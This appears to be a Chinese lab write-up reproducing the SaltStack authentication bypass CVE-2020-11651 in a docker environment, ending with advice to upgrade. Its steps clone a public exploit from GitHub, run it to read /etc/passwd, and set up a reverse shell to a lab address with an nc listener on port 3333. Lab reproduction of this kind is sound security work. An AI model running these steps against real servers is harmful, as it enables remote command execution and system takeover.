SaltStack 水平权限绕过漏洞(CVE-2020-11651)
前言
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。
在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。
漏洞分析
漏洞由ClearFuncs类引起,该类无意中暴露了_send_pub()和_prep_auth_info()方法。未经身份验证的远程攻击者通过发送特制的请求可在minion端服务器上执行任意命令,还能够提取根**来调用master端服务器上的管理命令。
影响版本:
- SaltStack Version < 2019.2.4
- SaltStack Version < 3000.2
漏洞环境
执行如下命令启动一个SaltStack Master服务:
docker-compose up -d
环境启动后,将会在本地监听如下端口:
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口
- 2222 这是容器内部的SSH服务器监听的端口
漏洞复现
本文档复现CVE-2020-11651漏洞。
首先我们下载poc
git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git
安装号salt即可运行
pip3 install salt
python3 CVE-2020-11651.py
给上目标后试试包含/etc/passwd文件
我们再试试反弹shell
选择4
192.168.111.129
3333
接着再监听端口3333
nc -lvvp 3333
修复建议
SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。
https://github.com/saltstack/salt/releases